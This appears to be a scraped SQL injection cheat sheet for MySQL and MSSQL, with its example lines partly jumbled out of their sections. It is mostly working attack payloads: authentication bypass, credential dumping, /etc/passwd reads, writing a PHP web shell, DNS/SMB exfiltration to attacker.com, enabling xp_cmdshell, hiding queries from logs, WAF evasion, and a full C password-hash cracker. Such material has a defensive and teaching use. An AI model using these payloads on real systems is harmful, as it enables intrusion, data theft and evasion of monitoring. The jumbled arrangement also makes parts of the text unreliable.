- SELECT * FROM Articles WHERE id = '1''';
- SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
- You can use as many apostrophes and quotations as you want as long as they pair up.
-
- It is also possible to continue the statement after the chain of quotes.
- Quotes escape quotes.
- SELECT * FROM Users WHERE id = 3-2;
-
true
is equal to 1. -
false
is equal to 0. - SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
- SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
- The backtick can only be used to end a query when used as an alias.
-
VERSION()
-
@@VERSION
-
@@GLOBAL.VERSION
- SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
-
Output will contain
-nt-log
in case the DBMS runs on a Windows based machine. - It can be useful for determining the version in situations where you can't add anymore SQL to the query due to the position of the injection.
- For more information about MySQL-specific code please refer to MySQL-specific code.
- SELECT current_user;
- SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
- SELECT database();
- SELECT schema_name FROM information_schema.schemata;
- SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
- @@HOSTNAME
- SELECT @@hostname;
- UUID()
- aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
- May return a 48-bit random string instead of the MAC address on some Operating Systems.
- Keep incrementing the number until you get a False response.
- Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
- Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.
- This method works if error showing is enabled.
- It is useful for finding the number of columns when the injection point is after a LIMIT clause.
- This works if you know the table name you're after and error showing is enabled.
- It will return the amount of columns in the table, not the query.
- version=10 for MySQL 5
- It is necessary for the web app to display the one of the selected columns in the SQL query you are injecting to.
- SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
- SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
MySQL
Default Databases
mysql | Requires root privileges |
information_schema | Availalble from version 5 and higher |
Testing Injection
False means the query is invalid (MySQL errors/missing content on website)
True means the query is valid (content is displayed as usual)
Given the query
SELECT * FROM Table WHERE id = '1';
' | False |
'' | True |
" | False |
"" | True |
\ | False |
\\ | True |
Examples:
Notes:
Given the query
SELECT * FROM Table WHERE id = 1;
AND 1 | True |
AND 0 | False |
AND true | True |
AND false | False |
1-false | Returns 1 if vulnerable |
1-true | Returns 0 if vulnerable |
1*56 | Returns 56 if vulnerable |
1*56 | Returns 1 if not vulnerable |
Example:
Notes:
Given the query
SELECT * FROM Table WHERE username = '';
' OR '1 |
' OR 1 -- - |
" OR "" = " |
" OR 1 = 1 -- - |
'=' |
'LIKE' |
'=0--+ |
Example:
Comment Out Query
The following can be used to comment out the rest of the query after your injection:
# | Hash comment |
/* | C-style comment |
-- - | SQL comment |
;%00 | Nullbyte |
` | Backtick |
Examples:
Note:
Testing Version
Example:
Note:
/*!VERSION Specific Code*/
Example:
Given the query
SELECT * FROM Users limit 1,{INJECTION POINT};
1 /*!50094eaea*/; | False - version is equal or greater than 5.00.94 |
1 /*!50096eaea*/; | True - version is lesser than 5.00.96 |
1 /*!50095eaea*/; | False - version is equal to 5.00.95 |
Note:
Database Credentials
Table | mysql.user |
Columns | user, password |
Current User | user(), current_user(), current_user, system_user(), session_user() |
Examples:
Database Names
Tables | information_schema.schemata, mysql.db |
Columns | schema_name, db |
Current DB | database(), schema() |
Examples:
Server Hostname
Example:
Server MAC Address
The Universally Unique Identifier is a 128-bit number where the last 12 digits are formed from the interfaces MAC address.
Output:
Note:
Tables and Columns
Determining number of columns
GROUP/ORDER BY n+1;
Notes:
Example:
Given the query
SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';
1' ORDER BY 1--+ | True |
1' ORDER BY 2--+ | True |
1' ORDER BY 3--+ | True |
1' ORDER BY 4--+ | False - Query is only using 3 columns |
-1' UNION SELECT 1,2,3--+ | True |
GROUP/ORDER BY 1,2,3,4,5...
Note:
Examples:
Given the query
SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'
1' GROUP BY 1,2,3,4,5--+ | Unknown column '4' in 'group statement' |
1' ORDER BY 1,2,3,4,5--+ | Unknown column '4' in 'order clause' |
SELECT ... INTO var_list, var_list1, var_list2...
Notes:
Example:
Given the query
SELECT permission FROM Users WHERE id = {INJECTION POINT};
-1 UNION SELECT 1 INTO @,@,@ | The used SELECT statements have a different number of columns |
-1 UNION SELECT 1 INTO @,@ | The used SELECT statements have a different number of columns |
-1 UNION SELECT 1 INTO @ | No error means query uses 1 column |
Given the query
SELECT username, permission FROM Users limit 1,{INJECTION POINT};
1 INTO @,@,@ | The used SELECT statements have a different number of columns |
1 INTO @,@ | No error means query uses 2 columns |
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
Notes:
Example:
Given the query
SELECT permission FROM Users WHERE id = {INJECTION POINT};
1 AND (SELECT * FROM Users) = 1 | Operand should contain 3 column(s) |
Retrieving Tables
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; |
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' |
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) |
(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); |
AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- Available in 5.1.5 |
Note:
Retrieving Columns
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' |
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' |
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) |
(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); |
AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5 |
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1 |
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b) a) |
AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a) |
PROCEDURE ANALYSE()
Note:
Example:
Given the query
SELECT username, permission FROM Users WHERE id = 1;
1 PROCEDURE ANALYSE() | Get the first column's name |
1 LIMIT 1,1 PROCEDURE ANALYSE() | Get the second column's name |
1 LIMIT 2,1 PROCEDURE ANALYSE() | Get the third column's name |
Retrieving Multiple Tables/Columns at once
Example:
Output:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED
-
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
Example:
- SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';
Output:
Table: talk_revisions Column: revid Table: talk_revisions Column: userid Table: talk_revisions Column: user Table: talk_projects Column: priority
Find Tables from Column Name
SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; | Finds the table names for any columns named username. |
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; | Finds the table names for any columns that contain the word user. |
Find Columns from Table Name
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; | Finds the columns for the Users table. |
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; | Finds the column names for any tables that contain the word user. |
Find out current query
SELECT info FROM information_schema.processlist | Available starting from MySQL 5.1.7. |
Avoiding the use of quotations
SELECT * FROM Users WHERE username = 0x61646D696E | Hex encoding. |
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | CHAR() Function. |
String Concatenation
SELECT 'a' 'd' 'mi' 'n'; |
SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); |
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); |
Notes:
CONCAT()
will return NULL if any of its arguements is NULL. Instead use CONCAT_WS()
.
CONCAT_WS()
defines the separator for the rest of its arguments.
Conditional Statements
CASE |
IF() |
IFNULL() |
NULLIF() |
Examples:
- SELECT IF(1=1, true, false);
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
Timing
SLEEP() | MySQL 5 |
BENCHMARK() | MySQL 4/5 |
Example:
- ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
Privileges
File Privileges
The following queries can help determine the FILE privileges for a given user.
SELECT file_priv FROM mysql.user WHERE user = 'username'; | Root privileges required | MySQL 4/5 |
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; | No privileges required | MySQL 5 |
Reading Files
Files can be read if the user has FILE privileges.
- LOAD_FILE()
Examples:
- SELECT LOAD_FILE('/etc/passwd');
- SELECT LOAD_FILE(0x2F6574632F706173737764);
Notes:
@@datadir
.
@@max_allowed_packet
is 1047552 bytes.
Writing Files
Files can be created if the user has FILE privileges.
- INTO OUTFILE/DUMPFILE
Examples:
- To write a PHP shell:
- SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
- and then access it at:
- http://localhost/shell.php?c=cat%20/etc/passwd
- To write a downloader:
- SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
- and then access it at:
- http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
Notes:
INTO OUTFILE
.
INTO OUTFILE
must be the last statement in the query.
Out Of Band Channeling
DNS Requests
SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\')); |
SMB Requests
' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt |
Stacked Queries
Stacked queries are possible with MySQL depending on which driver is being used by the PHP application to communicate with the database.
The
PDO_MYSQL
driver supports stacked queries. The
MySQLi
(Improved Extension) driver also supports stacked queries through the
multi_query()
function.
Examples:
- SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
- SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
MySQL-specific code
MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.
Examples:
- UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
- SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
Notes:
Fuzzing and Obfuscation
Allowed Intermediary Characters
The following characters can be used as whitespaces.
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
A0 | Non-breaking Space |
20 | Space |
Example:
- '%0A%09UNION%0CSELECT%A0NULL%20%23
Parentheses can also be used to avoid the use of spaces.
28 | ( |
29 | ) |
Example:
- UNION(SELECT(column)FROM(table))
Allowed Intermediary Characters after AND/OR
20 | Space |
2B | + |
2D | - |
7E | ~ |
21 | ! |
40 | @ |
Example:
- SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
Note:
dual
is a dummy table which can be used for testing.
Obfuscating with Comments
Comments can be used to break up the query to trick the WAF/IDS and avoid detection. By using # or -- followed by a newline, we can split the query into separate lines.
Example:-
1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#
URL Encoded the injection would look like:
- 1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
Certain functions can also be obfuscated with comments and whitespaces.
- VERSION/**/%A0 (/*comment*/)
Encodings
Encoding your injection can sometimes be useful for WAF/IDS evasion.
URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
Avoiding Keywords
If an IDS/WAF has blocked certain keywords, there are other ways of getting around it without using encodings.
- information_schema.tables
Spaces | information_schema . tables |
Backticks | `information_schema`.`tables` |
Specific Code | /*!information_schema.tables*/ |
Alternative Names | information_schema.partitions
information_schema.statistics information_schema.key_column_usage information_schema.table_constraints |
Note:
Operators
AND
,
&&
|
Logical AND |
=
|
Assign a value (as part of a
SET
statement, or as part of the
SET
clause in an
UPDATE
statement) |
:=
|
Assign a value |
BETWEEN ... AND ...
|
Check whether a value is within a range of values |
BINARY
|
Cast a string to a binary string |
&
|
Bitwise AND |
~
|
Invert bits |
|
|
Bitwise OR |
^
|
Bitwise XOR |
CASE
|
Case operator |
DIV
|
Integer division |
/
|
Division operator |
<=>
|
NULL-safe equal to operator |
=
|
Equal operator |
>=
|
Greater than or equal operator |
>
|
Greater than operator |
IS NOT NULL
|
NOT NULL value test |
IS NOT
|
Test a value against a boolean |
IS NULL
|
NULL value test |
IS
|
Test a value against a boolean |
<<
|
Left shift |
<=
|
Less than or equal operator |
<
|
Less than operator |
LIKE
|
Simple pattern matching |
-
|
Minus operator |
% or MOD
|
Modulo operator |
NOT BETWEEN ... AND ...
|
Check whether a value is not within a range of values |
!=
,
<>
|
Not equal operator |
NOT LIKE
|
Negation of simple pattern matching |
NOT REGEXP
|
Negation of REGEXP |
NOT
,
!
|
Negates value |
||
,
OR
|
Logical OR |
+
|
Addition operator |
REGEXP
|
Pattern matching using regular expressions |
>>
|
Right shift |
RLIKE
|
Synonym for REGEXP |
SOUNDS LIKE
|
Compare sounds |
*
|
Multiplication operator |
-
|
Change the sign of the argument |
XOR
|
Logical XOR |
Constants
current_user |
null, \N |
true, false |
Password Hashing
Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:
PASSWORD('mypass') | 6f8c114b58f2ce9e |
As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:
PASSWORD('mypass') | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
Password Cracking
Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-6.x passwords.
A Metasploit module for JTR can be found here.
MySQL < 4.1 Password Cracker
This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.
/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast * $ MySQLfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }
- SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
- @@VERSION
- True if MSSQL version is 2008.
- SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
- Output will also contain the version of the Windows Operating System.
- Return current user:
- SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
- Check if user is admin:
- SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
- SELECT DB_NAME(5);
- SELECT name FROM master..sysdatabases;
- SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
- SERVERPROPERTY() is available from MSSQL 2005 and higher.
- Keep incrementing the number until you get a False response.
- No error will be returned once all columns have been included.
- Xtype = 'U' is for User-defined tables. You can use 'V' for views.
- Create Temp Table/Column and Insert Data:
- AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
- Dump Content:
- AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
- Delete Table:
- AND 1=0; DROP TABLE TMP_DB;
- You can encode your query in hex to "obfuscate" your attack.
- ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
- IF 1=1 SELECT 'true' ELSE SELECT 'false';
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
- IF cannot be used inside a SELECT statement.
- WAITFOR DELAY 'time_to_pass';
- WAITFOR TIME 'time_to_execute';
- IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
- EXEC master.dbo.xp_cmdshell 'cmd';
- Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:
- ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
- Dump Content:
- ' UNION SELECT tbl FROM TMP_DB--
- Delete Table:
- ' DROP TABLE TMP_DB--
- SP_PASSWORD
- ' AND 1=1--sp_password
MSSQL
Default Databases
pubs | Not available on MSSQL 2005 |
model | Available in all versions |
msdb | Available in all versions |
tempdb | Available in all versions |
northwind | Available in all versions |
information_schema | Availalble from MSSQL 2000 and higher |
Comment Out Query
The following can be used to comment out the rest of the query after your injection:
/* | C-style comment |
-- | SQL comment |
;%00 | Nullbyte |
Example:
Testing Version
Example:
Note:
Database Credentials
Database..Table | master..syslogins, master..sysprocesses |
Columns | name, loginame |
Current User | user, system_user, suser_sname(), is_srvrolemember('sysadmin') |
Database Credentials | SELECT user, password FROM master.dbo.sysxlogins |
Example:
Database Names
Database.Table | master..sysdatabases |
Column | name |
Current DB | DB_NAME(i) |
Examples:
Server Hostname
@@SERVERNAME |
SERVERPROPERTY() |
Examples:
Note:
Tables and Columns
Determining number of columns
ORDER BY n+1;
Example:
Given the query:
SELECT username, password, permission FROM Users WHERE id = '1';
1' ORDER BY 1-- | True |
1' ORDER BY 2-- | True |
1' ORDER BY 3-- | True |
1' ORDER BY 4-- | False - Query is only using 3 columns |
-1' UNION SELECT 1,2,3-- | True |
Note:
The following can be used to get the columns in the current query.
GROUP BY / HAVING
Example:
Given the query:
SELECT username, password, permission FROM Users WHERE id = '1';
1' HAVING 1=1-- | Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1' GROUP BY username HAVING 1=1-- | Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1' GROUP BY username, password HAVING 1=1-- | Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
1' GROUP BY username, password, permission HAVING 1=1-- | No Error |
Note:
Retrieving Tables
We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.
UNION SELECT name FROM master..sysobjects WHERE xtype='U' |
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' |
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables) |
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables)) |
Note:
Retrieving Columns
We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename') |
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A' |
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns) |
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns)) |
Retrieving Multiple Tables/Columns at once
The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.
An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') | SQL Server 2005+ |
Note:
Avoiding the use of quotations
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) |
String Concatenation
SELECT CONCAT('a','a','a'); (SQL SERVER 2012) |
SELECT 'a'+'d'+'mi'+'n'; |
Conditional Statements
IF |
CASE |
Examples:
Note:
Timing
Example:
OPENROWSET Attacks
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"'); |
System Command Execution
Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.
Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:
EXEC sp_configure 'show advanced options', 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure 'xp_cmdshell', 1 |
EXEC sp_configure reconfigure |
Alternatively, you can create your own procedure to achieve the same results:
DECLARE @execmd INT |
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT |
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c' |
If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:
EXEC sp_configure 'show advanced options', 1 |
EXEC sp_configure reconfigure |
EXEC sp_configure 'OLE Automation Procedures', 1 |
EXEC sp_configure reconfigure |
Example:
SP_PASSWORD (Hiding Query)
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.
Example:
Output:
-- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons.
Stacked Queries
MSSQL supports stacked queries.
Example:- ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
Fuzzing and Obfuscation
Allowed Intermediary Characters
The following characters can be used as whitespaces.
01 | Start of Heading |
02 | Start of Text |
03 | End of Text |
04 | End of Transmission |
05 | Enquiry |
06 | Acknowledge |
07 | Bell |
08 | Backspace |
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
0E | Shift Out |
0F | Shift In |
10 | Data Link Escape |
11 | Device Control 1 |
12 | Device Control 2 |
13 | Device Control 3 |
14 | Device Control 4 |
15 | Negative Acknowledge |
16 | Synchronous Idle |
17 | End of Transmission Block |
18 | Cancel |
19 | End of Medium |
1A | Substitute |
1B | Escape |
1C | File Separator |
1D | Group Separator |
1E | Record Separator |
1F | Unit Separator |
20 | Space |
25 | % |
Examples:
- S%E%L%E%C%T%01column%02FROM%03table;
- A%%ND 1=%%%%%%%%1;
Note:
The following characters can be also used to avoid the use of spaces.
22 | " |
28 | ( |
29 | ) |
5B | [ |
5D | ] |
Examples:
- UNION(SELECT(column)FROM(table));
- SELECT"table_name"FROM[information_schema].[tables];
Allowed Intermediary Characters after AND/OR
01 - 20 | Range |
21 | ! |
2B | + |
2D | - |
2E | . |
5C | \ |
7E | ~ |
Example:
- SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
Note:
Encodings
Encoding your injection can sometimes be useful for WAF/IDS evasion.
URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
Hex Encoding | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
HTML Entities (Needs to be verified) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
Password Hashing
Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457 |
Password Cracking
A Metasploit module for JTR can be found here.
MSSQL 2000 Password Cracker
This tool is designed to crack Microsoft SQL Server 2000 passwords.
